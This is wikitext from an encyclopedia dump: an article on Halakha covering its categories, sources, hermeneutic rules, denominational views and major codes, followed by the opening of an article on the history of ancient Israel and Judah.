Broadly, the Halakha comprises the practical application of the [[613 mitzvot|commandments]] (each one known as a [[mitzvah]]) in the [[Torah]], as developed in subsequent [[rabbinic literature]]; see [[Mitzvah#The Mitzvot and Jewish Law|The Mitzvot and Jewish Law]]. According to the Talmud (Tractate Makot), there are [[613 mitzvot]] (&quot;commandments&quot;) in the Torah; in Hebrew these are known as the ''Taryag mitzvot'' &amp;#1514;&amp;#1512;&amp;#1497;&quot;&amp;#1490; &amp;#1502;&amp;#1510;&amp;#1493;&amp;#1493;&amp;#1514;. There are 248 positive mitzvot and 365 negative mitzvot given in the Torah, supplemented by seven mitzvot legislated by the rabbis of antiquity; see [[Mitzvah#Biblical and Rabbinical commandments|Rabbinical commandments]].

===Categories===
Judaism divides the laws into two basic categories: 
*Laws in relation to God (''bein adam le-Makom''), and 
*Laws about relations with other people (''bein adam le-chavero'').

Violations of the latter are considered to be more severe, as one must obtain forgiveness both from the offended person ''and'' from God.

Rabbinic authorities divide Halakha between laws that are interpreted as revealed (Biblical) commandments and those designated as rabbinic origin. This division between revealed and rabbinic commandments may influence the importance of a rule, its enforcement and the nature of its ongoing interpretation.

Commandments (mitzvot) are divided into positive and negative commands, which are treated differently in terms of Divine and human punishment. Positive commands bring one closer to God, while violations of negative ones create a distance. In striving to &quot;be holy&quot; as God is holy, one attempts so far as possible to live in accordance with Gods wishes for humanity, striving to more completely live with each of these with every moment of ones life.

A further division is made between ''chukim'' (&quot;decrees&quot;) -- laws without obvious explanation, such as ''[[kashrut]]'', the dietary laws), ''mishpatim'' (&quot;judgments&quot;) -- laws with obvious social implications and ''eduyot'' -- &quot;testimonies&quot; or &quot;commemorations&quot;, such as the [[Shabbat]] and holidays). Through the ages, various rabbinical athorities have classified the commandments in various other ways.

===Sin===
Judaism regards the violation of the commandments, the ''[[mitzvah|mitzvot]]'', to be a sin. The term &quot;sin&quot; is theologically loaded, as it means different things to Jews and Christians. In [[Christianity]] a &quot;sin&quot; is an offense against God, by which one is separated from God's love and grace, and for which one would suffer punishment, unless one repents (see [[Sin]] for a more complete comparison of sin from several viewpoints). Judaism has a wider definition of the term &quot;sin&quot;, and also uses it to include violations of Jewish law that are not necessarily a lapse in morality. Further, Judaism holds it as given that all people sin at various points in their lives, and hold that God always tempers justice with mercy.

The generic Hebrew word for any kind of sin is ''aveira'' (&quot;trangression&quot;). Based on the [[Tanakh]] (Hebrew Bible) Judaism describes three levels of sin. 
*''Pesha'' -- an &quot;intentional sin&quot;; an action committed in deliberate defiance of God; 
*''Avon'' -- a &quot;sin of lust or uncontrollable emotion&quot;. It is a sin done knowingly, but not done to defy God; 
*''Cheth'' -- an &quot;unintentional sin&quot;.

Judaism holds that no human being is perfect, and all people have sinned many times. However a state of sin does not condemn a person to damnation; there is always a road of ''[[teshuva]]'' (repentance, literally: &quot;return&quot;). But, warn the Rabbis, there are some classes of person for whom this is exceedingly difficult, such as the one who slanders another.

In earlier days, when Jews had a functioning court system (the [[beth din]] and the [[Sanhedrin]] high court), courts were empowered to administer physical punishments for various violations, upon conviction by far stricter standards of evidence than are acceptable in American courts: [[corporal punishment (Judaism)|corporal punishment]], [[incarceration]], [[excommunication]]. Since the fall of the Temple, executions have been forbidden.  Since the fall of the autonomous Jewish communities of [[Europe]], the other punishments have also fallen by the wayside. Today, then, one's accounts are reckoned solely by [[God]].

===Gentiles and Jewish law===
All denominations of Jews hold that [[gentile|gentiles]] are not obliged to follow Halakha; only Jews are obliged do so. Judaism has always held that gentiles are obliged only to follow the seven [[Noahide Laws]]; these are laws that the oral law derives from the covenant God made with [[Noah]] after the flood, which apply to all descendants of Noah (all living people). The Noahide laws are derived in the [[Talmud]] (Tractate Sanhedrin 57a), and are listed here:

#[[Murder]] is forbidden. 
#[[Theft]] is forbidden.
#[[Sexual morality|Sexual immorality]] is forbidden. 
#Eating flesh cut from a still-living animal is forbidden.
#Belief in, and/or prayer to &quot;[[idolatry|idols]]&quot; ([[cult image]]s) is forbidden. 
#[[Blasphemy|Blaspheming]] against God is forbidden. 
#Society must establish a fair system of legal [[justice]] to administer these [[law]]s honestly.

Although not mentioning the [[Noahide Laws]] directly by name, the Christian convention of Apostles and elders in Jerusalem mentioned in [[Acts of the Apostles|Acts]] 15 appears to validate the idea that all gentiles follow the constraints established by the covenant of Noah.  This is what appears to be the case, as verse 15:20 lists a similar set of constraints to be applied to the gentiles that are converted to Christianity as what is contained in the Noahide laws.

==The sources and process of Halakha==
The boundaries of Jewish law are determined through the halakhic process, a religious-ethical system of legal reasoning. Rabbis generally base their opinions on the primary sources of Halakha as well as on precedent set by previous rabbinic opinions.  The major sources and genre of Halakha consulted include: 

* The foundational Talmudic literature (especially the [[Mishna]] and the [[Talmud|Babylonian Talmud]]) with commentaries; 
* The post-Talmudic [[Halakha#Codes of Jewish law|codificatory literature]], such as Maimonides' [[Mishneh Torah]] and the [[Shulkhan Arukh]] with commentaries;
* Regulations and other &quot;legislative&quot; enactments promulgated by rabbis and communal bodies:
** ''Gezeirah'': &quot;preventative legislation&quot; of the Rabbis, intended to prevent violations of the [[mitzva|commandments]]
** ''Takkanah'': &quot;positive legislation&quot;, practices instituted by the Rabbis not based (directly) on the [[mitzva|commandments]]
* ''[[Minhag]]'': Customs, community practices, and customary law, as well as the exemplary deeds of prominent (or local) rabbis; 
* The ''[[responsa|she'eloth u-teshuvoth]]'' (responsa, literally &quot;questions and answers&quot;) literature.
* ''Dina d'malchuta dina'' (&quot;the law of the land is law&quot;): an additional source of Halakha, being the principle recognizing non-Jewish laws and non-Jewish legal jurisdiction as binding on Jewish citizens, especially for many areas of commercial, civil and criminal law, provided that they are not contrary to any laws of Judaism.

Unlike Anglo-American common law, though, Halakhah does not rely on a strict theory of binding precedent nor provide for systematic review of precedents. Generally, Halakhic arguments are effectively, yet unofficially, peer-reviewed. When a rabbinic ''[[posek]]'' (&quot;decisor&quot;) proposes a new interpretation of a law, that interpretation may be considered binding for the posek's questioner or immediate community. Depending on the stature of the posek and the quality of the decision, an interpretation may also be gradually accepted by rabbis and members of similar Jewish communities. 

Under this system, there is a tension between the relevance of earlier and later authorities in constraining halakhic interpretation and innovation. On the one hand, there is a principle in Halakha to not overrule a specific law from an earlier era, unless based on an earlier authority. On the other hand, another principle recognizes the responsibility and authority of later authorities, and especially the ''posek'' handling a concurrent question. In addition, the Halakha embodies a wide range of principles that permit judicial discretion and deviation (Ben-Menahem). Generally speaking, a rabbi in any one period will not overrule specific laws from an earlier era, unless supported by a relevant earlier precedent; see list below. There are important exceptions to this principle, which empower the ''[[posek]]'' (decisor) or ''[[beth din]]'' (court) responsible for a given opinion.

Notwithstanding the potential for innovation, rabbis and Jewish communities differ greatly on how they make changes in Halakha. Notably, ''poskim'' frequently extend the application of a law to new situations, but do not consider such applications as constituting a &quot;change&quot; in Halakha. For example, many [[Orthodox Judaism|Orthodox]] rulings concerning electricity are derived from rulings concerning fire, due to its similarity with that other form of human-managed energy. [[Conservative Judaism]] and [[Reform Judaism]] tend to explicitly interpret Halakha to take into account sociological factors. For instance, the liberal Jewish movements extend the application of certain Jewish obligations and permissible activitites to women. See below:  [[Halakha#How Halakha is viewed today|How Halakha is viewed today]].

There is no formal peer-review process for the entire Jewish community in general, since the Jewish community has no one central body that speaks for all of Judaism.  However, within certain Jewish communities formal organized bodies exist: Each division or dynasty of Orthodox [[Hasidic Judaism]] has their own [[rebbe]], who is their ultimate decisor of Jewish law.  Within [[Modern Orthodox Judaism]], there is no one committee or leader, but Modern Orthodox rabbis generally agree with the views set by consensus by the leaders of the [[Rabbinical Council of America]]. Within [[Conservative Judaism]], the [[Rabbinical Assembly]] has an official [[Committee on Jewish Law and Standards]].

In antiquity, the ''[[Sanhedrin]]'' functioned essentially as the Supreme Court and legislature for Judaism, and had the power to create and administer binding law on all Jews - rulings of the Sanhedrin became Halakha; see [[Oral law#Oral law in Judaism|Oral law]]. That court ceased to function in its full mode in [[40|CE 40]].  Today, application of Jewish law is left to the local rabbi, and the local rabbinical courts, with only local applicability.

===Eras of history important in Jewish law===
:''See also [[Rabbinic literature]]''.

* The ''[[Tannaim]]'' (literally  the &quot;repeaters&quot;) are the sages of the Mishna ([[70]]&amp;ndash;[[200]])
* The ''[[Amora|Amoraim]]'' (literally the &quot;sayers&quot;) are the sages of the Talmud ([[200]]&amp;ndash;[[500]])
* The ''[[Savoraim]]'' are the classical Persian rabbis ([[500]]&amp;ndash;[[600]])
* The ''[[Geonim]]'' (literally the &quot;prides&quot; or &quot;geniuses&quot;) are the rabbis of Sura and Pumbeditha, in Babylonia ([[650]]&amp;ndash;[[1250]])
* The ''[[Rishonim]]'' (literally the &quot;firsts&quot;) are the rabbis of the early medieval period ([[1250]]&amp;ndash;[[1550]]) preceding the [[Shulkhan Arukh]]
* The ''[[Acharonim]]'' (literally the &quot;afters&quot;) are the rabbis of [[1550]] to the present.

===The thirteen rules by which Jewish law was derived===
During the time of the Mishnah, some principles of the oral law were said to be derived from the written [[Torah]] by virtue of one or more of the following methods (&quot;Introduction to ''Sifra''&quot; by [[Ishmael ben Elisha]], c. 200 CE):

#''Kal va-Chomer'' ([[List of Latin phrases (A–E)#A|a fortiori]]): We find a similar stringency in a more lenient case; how more so should that stringency apply to our stricter case!
#''Gezera shava'', similarity in phrase: We find a similar law in a verse containing a similar phrase to one in our verse. This method can only be used in a case where there is a tradition to use it.
#''Binyan av'', either by one or two Scriptures: We find a similar law in another case, why shouldn't we assume that the same law applies here? Now the argument may go against this inference, finding some law which applies to that case but not to ours. This type of refutation is valid only if the inference was from one Scripture, not if it was from two Scriptures.
#''Klal ufrat'', a generality and a particularity: If we find a phrase signifying a particularity following that of a generality, the particularity particularises the generality and we only take that particular case into account.
#''Prat ukhlal'', a particularity and a generality: If the order is first the particularity and then the generality, we add from the generality upon the particularity, even to a broad extent.
#''Klal ufrat ukhlal'', a generality, a particularity and a generality: If there is a particularity inserted between two generalities, we only add cases similar to the particularity.
#''Klal shehu tzarich lifrat'', a generality that requires a particularity, and a particularity that requires a generality:
#Every thing that was within the general rule and was excluded from the rule to teach us a rule, we don't consider this rule as pertaining only to this excluded case, but to the entire general case.
#Anything that was included in a general rule, and was excluded to be susceptible to one rule that is according to its subject, it is only excluded to be treated more leniently but not more strictly.
#Anything that was included in a general rule and was excluded to be susceptible to one rule that is not according to its subject, it is excluded to be treated both more leniently and more strictly.
#Anything that was included in a general rule and was excluded to be treated by a new rule, we cannot restore it to its general rule unless Scripture restores it explicitly.
#A matter that is inferred from its context, and a matter that is inferred from its ending.
#The resolution of two Scriptures that contradict each other [must wait] until a third Scripture arrives and resolves their apparent contradiction.

Scholars have noted the similarity between these rabbinic rules of interpretation and the hermeneutics of ancient Hellenistic culture.

==How Halakha is viewed today==
:''See also [[Talmud#The Talmud in modern-day Judaism|The Talmud in modern-day Judaism]]''.

[[Orthodox Judaism]] holds that the words of the [[Torah]] (Pentateuch) were indeed dictated by God to Moses in almost precisely the way that they exist in the Torah today. The laws contained in the Written Torah were given along with detailed explanations as how to apply and interpret them, the [[Oral Law]].  The religious laws that Jews know today are thus directly derived from Sinai. As such, one must be extremely conservative changing or adapting Jewish law. Orthodox Judaism holds that, given Jewish law's Divine origin, no underlying principle may be compromised in accounting for changing political, social or economic conditions; in this sense, &quot;creativity&quot; and development in Jewish law is limited. See [[Orthodox Judaism#Beliefs about Jewish law and tradition | Orthodox beliefs about Jewish law and tradition]].

To the [[Orthodox Judaism|Orthodox Jew]], Halakha is a guide, [[God]]'s Law, governing the structure of daily life from the moment he or she wakes up to the moment he goes to sleep. It includes codes of behavior applicable to a broad range of circumstances (and many hypothetical ones).

[[Conservative Judaism]] holds that the current text of the Torah is a composite that was [[documentary hypothesis|redacted together from earlier sources]]. Conservative Jews hold that it is possible to believe that God is real and that prophets like Moses really were inspired by God. However, whatever records and traditions relating to such events were apparently transmitted in various forms for many centuries. This says nothing about whether the Torah is based on God or not, and so this idea not a theological threat. Therefore Conservative Judaism teaches that one should make use of literary and historical analysis to understand how these texts developed, and to help them understand how they may applied in our own day. Conservative Jews view the laws and customs from the various law codes as the basis for normative Jewish law.  [[Solomon Schechter]] writes &quot;however great the literary value of a code may be, it does not invest it with infallibility, nor does it exempt it from the student or the Rabbi who makes use of it from the duty of examining each paragraph on its own merits, and subjecting it to the same rules of interpretation that were always applied to Tradition&quot;. [Solomon Schechter].  

[[Reform Judaism]] and [[Reconstructionist Judaism]] both hold that modern views of how the Torah and rabbinic law developed imply that the body of rabbinic Jewish law is no longer normative (seen as binding) on Jews today. Therefore Jews are not expected or taught to follow most of halakha. Those in the traditionalist wing of these movements hold that each Jew is obligated to interpret the Torah, Talmud and other Jewish works for themselves, and this interpretation will create separate commandments for each person. Those in the neo-traditional wing of Reform include [[Rabbi]]s [[Eugene Borowitz]] and [[Gunther Plaut]].

Those in the liberal and classical wings of Reform believe that in this day and era most Jewish religious rituals are no longer necessary, and many hold that following most Jewish laws is actually counter-productive. They propose that Judaism has entered a phase of ethical monotheism, and that the laws of Judaism are only remnants of an earlier stage of religious evolution, and need not be followed. This is considered wrong (and arguably heretical) not only by Orthodoxy, but by Conservative Judaism, and perhaps by some in the traditional wing of Reform.

===Flexibility within the Halakha===
Throughout history, halakha had been a remarkably flexible system, despite its internal rigidity, addressing issues on the basis of circumstance and precedent. For instance, rulings regarding modern technology have been incorporated into the ever-expanding halakhah. New rulings guide the observant about the proper use of electricity on the Sabbath and holidays within the parameters of halakhah. (Many scholarly tomes have been published and are constantly being reviewed ensuring the maximum coordination between electrical appliances and technology with the needs of the religiously observant Jew, with a great range of opinions.) Often, as to the applicability of the law in any given situation, the proviso is: &quot;Consult your local Orthodox rabbi or posek.&quot; 

Modern critics, however, charge that with the rise of movements that challenge the &quot;Divine&quot; authority of halakha, traditional Jews have greater reluctance to change, not only the laws themselves but also other customs and habits. 

*As above, Orthodox Jews hold that, unlike secular precedent-based systems, ''halakha'' is a religious system, whose axiom is that Jewish law represents the will of God, either directly, or as close to directly as possible. If the laws in Jewish law codes are not the word of God ''per se'', they are nonetheless derived from the literal word of God in the Torah, using a set of rules also [[Revelation|revealed]] by God to Moses on [[Mount Sinai, Egypt|Mount Sinai]], and have been derived with the utmost accuracy and care. As such, one must be extremely conservative changing or adapting Jewish law.  There have, nevertheless, been many changes including the application of halakha to modern technology.

*The view held by [[Conservative Judaism]] (and to some extent within the left wing of Orthodoxy) is that while God is real for theological reasons, the Torah is not the word of God in a literal sense.  However, in this view the Torah is still held as mankind's record of its understanding of God's revelation, and thus still has divine authority. In this view, traditional Jewish law is still seen as binding. Jews who hold by this view generally try to use modern methods of historical study to learn how Jewish law has changed over time, and are more willing to change Jewish law in the present.

==Codes of Jewish law==
The [[Torah]] and the [[Talmud]] are not formal codes of law; they are sources of law. There are many formal codes of Jewish law that have developed over the past few thousand years.  The major codes are:

* The [[Mishnah]], composed by [[Judah haNasi|Rabbi Judah the Prince]], in [[200|AD 200]], as a basic outline of the state of the [[Oral Law#Oral law in Judaism|Oral Law]] in his time.  This was the framework upon which the Talmud was based.

* The ''Hilchot'' of ''the Rif'', Rabbi [[Isaac Alfasi]] (1013 - 1103), summations of the legal material in the Talmud. Alfasi transcribed the Talmud's halakhic conclusions verbatim, without the surrounding deliberation; he also excludes all [[Aggadah|Aggadic]] (non-legal, homiletic) matter. The ''Hilchot'' has been printed with almost every subsequent edition of the Talmud. 

* The [[Mishneh Torah]] (also known as the ''Yad Ha-Hazaqah''), by [[Maimonides]] (Rabbi Moshe ben Maimon,  the [[Rambam]]; 1135 - 1204). The 14 volumes in this work encompass the full range of Jewish law, as formulated for all ages and places. It completely reorganizes and reformulates the laws in a logical system. It opens with a section on systematic philosophical theology, derived largely from [[Aristotle|Aristotelian]] science and metaphysics, which it regards as the most important component of Jewish law. 

* The work of ''the Rosh'', Rabbi [[Asher ben Jehiel]] (1250?/1259?-1328), an abstract of the Talmud, concisely stating the final Halakhic decision and quoting later authorities, notably Alfasi, Maimonides, and the [[Tosafists]]. This work superseded Rabbi Alfasi's  and has been printed with almost every subsequent edition of the Talmud. 

* The [[Sefer Mitzvot Gadol]] (The &quot;SeMaG&quot;) of Rabbi [[Moses ben Jacob of Coucy]] ([[13th century]], [[Coucy]], [[France]]). &quot;SeMaG&quot; is organised around the 365 negative and the 248 positive [[mitzvah|commandments]], separately discussing each of them according to the [[Talmud]] (in light of the commentaries of [[Rashi]] and the [[Tosafot]]) and the other codes existent at the time.

* The [[Arba'ah Turim]] (The Tur, The Four Columns) by Rabbi [[Jacob ben Asher]] ([[1270]] - [[1343]], [[Toledo, Spain]]).  This work traces the Halakha from the Torah text and the Talmud through the [[Rishonim]], with the ''Hilchot'' of Alfasi as its starting point. Ben Asher followed Maimonides's precedent in arranging his work in a topical order, however, the Tur covers only those areas of Jewish religious law that were in force in the author's time. The code is divided into four main sections; almost all Jewish codes of law since this time have followed the Tur's arrangement of material.
** [[Orach Chayim]] - &quot;The Way of Life&quot;  worship and ritual observance in the home and [[synagogue]], through the course of the day, the weekly [[sabbath]] and the festival cycle. 
** [[Yoreh De'ah]] - &quot;Teach Knowledge&quot; assorted ritual prohibitions, dietary laws and regulations concerning [[menstruation|menstrual]] impurity.
** [[Even Ha-'Ezer]] - &quot;The Rock of the Helpmate&quot; [[marriage]], [[divorce]] and other issues in [[family]] law.
** [[Hoshen Mishpat]] - &quot;The Breastplate of Judgment&quot;  The administration and [[adjudication]] of civil law.

*The [[Shulkhan Arukh|Beit Yosef, and the Shulkhan Arukh]] of Rabbi [[Yosef Karo]] ([[1488]]&amp;ndash;[[1575]]).  The ''Beit Yosef'' is a huge commentary on the ''Tur'' in which Rabbi Karo traces the development of each law from the Talmud through later [[rabbinical literature]] (examining thirty-two [[posek|authorities]], beginning with the Talmud and ending with the works of Rabbi [[Israel Isserlein]]). The [[Shulkhan Arukh]] is a condensation of the ''Beit Yosef'' - stating each ruling simply (literally translated, ''Shulkhan Arukh'' means &quot;set table&quot;).  Karo based his [[posek|rulings]] on three authorities - Maimonides (Rambam), Asher ben Jehiel (Rosh), and Isaac Alfasi (Rif).  In writing the Shulkhan Arukh, Rabbi Yosef followed the chapter divisions of the Tur. [[Sephardi|Sephardic Jews]] use the Shulkhan Arukh as the basis for their daily practice.

*Rabbi [[Moshe Isserles]] ([[Kraków]], [[Poland]], [[1525]] to [[1572]]) noted that the ''Shulkhan Arukh'' was based on the [[Sephardic Judaism|Sephardic]] tradition, and he created a series of [[gloss]]es to be appended to the text of the Shulkhan Arukh for cases where Sephardi and [[Ashkenazi]] [[minhag|customs]] differed (based on the works of [[Yaakov Moelin]], [[Israel Isserlein]] and [[Israel Bruna]]). The glosses are called ''Hamapah'', the &quot;Tablecloth&quot; for the &quot;Set Table&quot;.  His comments are now incorporated into the body of all printed editions of the Shulkhan Arukh; typeset in a different script. Isserles' ''Darkhei Moshe'' is similarly a commentary on the Tur and the Beit Yosef.

* The [[Shulchan Aruch HaRav]] of Rabbi [[Shneiur Zalman]] of Liadi (c. [[1800]]) was an attempt to recodify the law as it stood at that time, stating the [[posek|decided halakha]], as well as the underlying reasoning; unfortunately, most of the work was lost in a fire prior to publication.  It is held in esteem by some [[Hasidim]], and is quoted as authoratitive by many subsequent works.

* &quot;Layman oriented&quot; digests of Halakha: The [[Kitzur Shulkhan Arukh]] of Rabbi [[Shlomo Ganzfried]] ([[Hungary]] [[1804]] -[[1886]]), based on the very strict Hungarian customs of the 19th century, became immensely popular after its publication due to its simplicity.  This work is not binding in the same way as the Mishneh Torah or the Shulkhan Arukh. It is still popular in [[Orthodox Judaism]] as a framework for study, if not always for practice. [[Chayei Adam]] and [[Chochmat Adam]] by [[Avraham Danzig]] (Poland, [[1748]]-[[1820]]) are similar [[Ashkenazi]] works. The [[Ben Ish Chai]] by [[Yosef Chaim]] ([[Baghdad]], [[1832]] - [[1909]]) is a corresponding [[Sephardi]] work.

* The [[Mishnah Berurah]] of Rabbi [[Yisrael Meir Kagan|Yisroel Meir ha-Kohen]], (the &quot;Chofetz Chaim&quot;, Poland, [[1838]] - [[1933]]) is a commentary on the &quot;Orach Chayim&quot; section of the [[Shulkhan Arukh]], discussing the application of each Halakha in light of all subsequent [[Acharonim | Acharonic]] decisions. It has become the authoritative halakhic guide for much of [[Orthodox Judaism|Orthodox]] [[Ashkenazi | Ashkenazic Jewry]] in the postwar period, supplanting the more scholarly ''[[Arukh HaShulkhan]]'' of Rabbi [[Yechiel Michel Epstein]]. [[Kaf HaChaim]] on [[Orach Chayim]] and parts of [[Yoreh De'ah]], by the [[Sephardi]] sage [[Yaakov Chaim Sofer]] ([[Baghdad]] and [[Jerusalem]], [[1870]] - [[1939]]) is similair in scope, authority and approach to the Mishnah Berurah.

* &quot;A Guide To Jewish Religious Practice&quot;, by Rabbi [[Isaac Klein]], with contributions from the Conservative [[Committee on Jewish Law and Standards]] of the [[Rabbinical Assembly]]. This work is based on the previous traditional law codes, but written from a [[Conservative Judaism|Conservative Jewish]] point of view. It is not accepted among [[Orthodox Judaism|Orthodox Jews]].

==See also==
* [[Mishpat Ivri]]

== External links and references==
===General===
*[http://www.chabad.org/library/article.asp?AID=262763 Judaism 101 Laws and Customs]
*[http://www.aish.com/literacy/concepts/The_Rules_of_Halacha.asp The Rules of Halacha], Rabbi [[Aryeh Kaplan]]
*[http://www.jewishencyclopedia.com/view.jsp?artid=35&amp;letter=T Talmudic Law], jewishencyclopedia.com
*[http://www.jewishencyclopedia.com/view.jsp?artid=107&amp;letter=L Law, Codification of], jewishencyclopedia.com 
*[http://shamash.org/lists/scj-faq/HTML/faq/04-index.html FAQ on halakha and Jewish law], shamash.org
*[http://www.jewfaq.org/halakhah.htm Halakhah article], jewfaq.org
*[http://www.faqs.org/faqs/judaism/FAQ/03-Torah-Halacha/section-52.html FAQ on the different rabbinic eras], faqs.org
*[http://www.aish.com/societyWork/sciencenature/Why_Jewish_Medical_Ethics.asp An introduction to the system of Jewish Law], aish.com
*[http://library.law.miami.edu/jewishguide.html Jewish Law Research Guide], [[University of Miami]] Law Library
*[http://hsf.bgu.ac.il/cjt/files/electures/gloss.htm#Halakhah Entry on Halakhah], Goldstein-Goren International Center for Jewish Thought
*[http://www.chabad.org/search/keyword.asp?scope=6198&amp;kid=1500 Halacha (Torah Law)] chabad.org

===Discussion===
*[http://www.torahweb.org/torah/special/2003/rsch_masorah.html On the Matter of Masorah], Rabbi Herschel Schachter
*[http://www.beingjewish.com/mesorah/notchaotic.html The Oral Law and Our Own Opinions], Mordechai Housman
*[http://www.yasharbooks.com/freedom%20to%20interpret.pdf Freedom to Interpret], Rabbi Aryeh Carmell
*[http://www.jlaw.com/Articles/ Jewish Law Articles: &quot;Examining Halacha, Jewish Issues and Secular Law&quot;], jlaw.com
*[http://www.daat.ac.il/daat/english/journal/broyde-wagner-1.htm Orthodox Responses to Sociological and Technological Change], Journal of Halacha &amp; Contemporary Society
*[http://www.law.harvard.edu/programs/Gruss/katz.html Da'at Torah - The Unqualified Authority Claimed for Halachists], Prof. Jacob Katz
*[http://www.nishmat.net/article.php?id=180&amp;heading=0 Authority and Autonomy in Pesikat HaHalacha], Rabbi Zvi Leshem

===Fulltext resources===
*[http://www.mechon-mamre.org/i/0.htm ''Mishneh Torah''] 
*[http://www.chassidus.org.ru/chabadlibrary.org/sifrey_yesod/shulchan_oruch/index.php ''Shulchan Aruch'']
*[http://www.chassidus.org.ru/chabadlibrary.org/admur_hazoken/shulchan_oruch/orach_chaim/kerech_alef/001_1.htm ''Shulchan Aruch HaRav'']
*[http://www.shofar.net/Content/Kitzur_Shulchan.htm?id=5417 ''Kitzur Shulchan Aruch''], (note: single, very large webpage)
*[http://www.shechem.org/torah/benishhi/index.html ''Ben Ish Chai'']

===Study resources===
*[http://www.torah.org/learning/halacha-overview/archives.html ''Mishneh Torah'' overview]
*[http://www.torah.org/advanced/shulchan-aruch/ocarchives.html ''Shulchan Aruch, Orach Chayim'' overview]
*[http://www.torah.org/advanced/shulchan-aruch/archives.html ''Shulchan Aruch, Yoreh De'ah'' overview]
*[http://www.torah.org/advanced/mishna-berura/ ''Mishna Berura'' translation]
*[http://www.torah.org/learning/halacha/ ''Kitzur Shulchan Aruch'' translation]; or [http://www.geocities.com/yona_n.geo/kizzur/kiz-index1.html Ch 1-97] and [http://www.geocities.com/yona_n.geo/kizzur/kiz-index2.html Ch 98-221]
*[http://www.teachittome.com/index.php?Command=Class&amp;ClassID=BenIshChai&amp;Title=Ben+Ish+Chai+Halachot ''Ben Ish Chai'' lectures] ([[MP3]])
*[http://www.chabad.org/library/article.asp?AID=262763 Laws and customs: daily, shabbat and festivals], chabad.org

===Bibliography===
*[[J. David Bleich]], ''Contemporary Halakhic Problems'' (5 vols), Ktav. ISBN 0870684507, ISBN 0881254746, ISBN 0881253154, ISBN 087068275X,  Feldheim ISBN 1568713533
*[[Menachem Elon]], ''Ha-Mishpat ha-Ivri'' (trans. Jewish law), Jewish Publication Society. ISBN 0827605374
*Jacob Katz, ''Divine Law in Human Hands - Case Studies in Halakhic Flexibility'', Magnes Press. ISBN 9652239801
*Mendell Lewittes, ''Jewish Law: An Introduction'', Jason Aronson. ISBN 1568213026
* Daniel Pollack ed., ''Contrasts in American and Jewish Law'', Ktav. ISBN 0881257508
*[[Joel Roth]], ''Halakhic Process: A Systemic Analysis'', Jewish Theological Seminary. ISBN 0873340353 
*[[Joseph Soloveitchik]], ''Halakhic Man'', Jewish Publication Society trans. Lawrence Kaplan. ISBN 0827603975


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[[Category:Jewish law and rituals]]
[[Category:Legal codes]]

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  <page>
    <title>History of ancient Israel and Judah</title>
    <id>13876</id>
    <revision>
      <id>41278117</id>
      <timestamp>2006-02-26T06:16:39Z</timestamp>
      <contributor>
        <username>Wjhonson</username>
        <id>29958</id>
      </contributor>
      <comment>the Tanakh is *identical* to the Old Testament</comment>
      <text xml:space="preserve">In compiling the '''[[history]] of ancient [[Kingdom of Israel|Israel]] and [[Kingdom of Judah|Judah]]''', there are many available sources, including the [[Jew|Jewish]] [[Tanakh]]  (the [[Old Testament]]) and other Jewish texts such as the [[Talmud]], the [[Ethiopia|Ethiopian]] book of history known as the ''[[Kebra Nagast]]'', the writings of historians such as [[Nicolaus of Damascus]], [[Artapanas]], [[Philo of Alexandria]] and [[Josephus]], other writings, and [[archeology|archaeological]] evidence including [[Egypt|Egyptian]], [[Moabite]], [[Assyria|Assyrian]] and [[Babylon|Babylonian]] inscriptions.

Depending on their interpretation, some writers see these sources as being in conflict. See [[The Bible and history]] for several views as to how the sources are best reconciled. This is a controversial subject, with important implications in the fields of [[religion]], [[politics]] and [[diplomacy]].

This article attempts to give a conservative scholarly view which would currently be supported by most historians. The precise dates and the precision by which they may be stated are subject to continuing discussion and challenge. There are no biblical events whose precise year can be validated by external sources before the early 9th century BCE (The rise of Omri, King of Israel).  Therefore all earlier dates are [[extrapolation]]s. Further, the Bible does not render itself very easily to these calculations: mostly it does not state any time period longer than a single life time and a historical line must be reconstructed by adding discrete quantities, a process that naturally  introduces [[rounding error]]s. The accuracy in which dates are represented here reflects a [[The Bible and history#Biblical maximalism|maximalist]] view, namely one that believes in the historical accuracy of the core stories of the Bible. 

Others, known as ''[[Biblical minimalism|minimalists]]'' dispute that many of the events happened at all, making the dating of them moot: if the very existence of the united kingdom is in doubt, it is pointless to claim that it disintegrated in 922 BCE.   However, many of the events from the 9th century onward do have corroborations; see for example [[Mesha Stele]].

{{Jew}}

==Early history==

The [[Mousterian]] [[Neanderthal]]s were the earliest inhabitants of the area known to archaeologists, and have been carbon-dated to c. 200,000 BCE. The first anatomically modern humans to live in the area were the [[Kebaran|Kebarans]] (conventionally c. 18,000 - 10,500 BCE, but recent paleoanthropological evidence suggests that [[Kebaran]]s may have arrived as early as 75,000 BCE and shared the region with the [[Neanderthal]]s for millennia before the latter died out). They were followed by the [[Natufian]] culture (c. 10,500 BCE - 8500 BCE), the [[Yarmukian]]s (c. 8500 - 4300 BCE) and the [[Ghassulians]] (carbon dated c. 4300 - 3300 BCE). (Note that not one of these names appears in any classical sources, and were all devised as conventions in recent times by archaeologists, to refer to the lowest strata of remains.) 

The [[Semitic]] culture followed on from the Ghassulians. People became [[urbanization|urbanized]] and lived in [[city-state]]s, one of which was [[Jericho]]. The area's location at the center of routes linking three continents made it the meeting place for religious and cultural influences from [[Egypt]], [[Syria]], [[Mesopotamia]], and [[Asia Minor]]. It was also the natural battleground for the great powers of the region and subject to domination by adjacent [[empire]]s, beginning with Egypt in the late [[3rd millennium BCE]]. 

Traditions regarding the early history found in later works such as the ''[[Kebra Nagast]]'' and commentaries of [[Rashi]], [[Philo]], and numerous others, (besides of course, the [[Tanakh]]) refer to the early inhabitants as the sons of [[Shem]] and also speak of an invasion by the people known as [[Canaanite]]s descended from [[Ham, son of Noah|Ham]].  

The [[Book of Jubilees]] states that the land was originally allotted to Shem and [[Arphaxad]] (ancestor of the Hebrews) when it was still vacant, but was wrongfully occupied by [[Canaan]] and his son [[Sidon]]. Jubilees makes this, then, the true justification for the later war to drive out the Canaanites.

The [[Kebra Nagast]], however, speaks of the Canaanites invading existing cities of Shem and [[Ibn Ezra]], similarly notes that they had seized land from earlier inhabitants. [[Rashi]] mentions that the Canaanites were seizing land from the sons of Shem in the days of Abraham.

== The patriarchal period ==
The patriarchal period begins with [[Abraham]]. The Bible places the events surrounding Abraham (originally Abram) circa [[18th century BCE|1800 BCE]], give or take 100 years. The account of his life is found in the Book of [[Genesis]], beginning in Chapter 11, at the close of a [[genealogy]] of the sons of [[Shem]] (which includes among its members [[Eber]], the [[eponym]] of the [[Hebrews]]).

His father [[Terah]] came from [[Ur Kasdim]]. His father moved his family, including his son Abram, from Ur Kasdim to the city of [[Haran]].

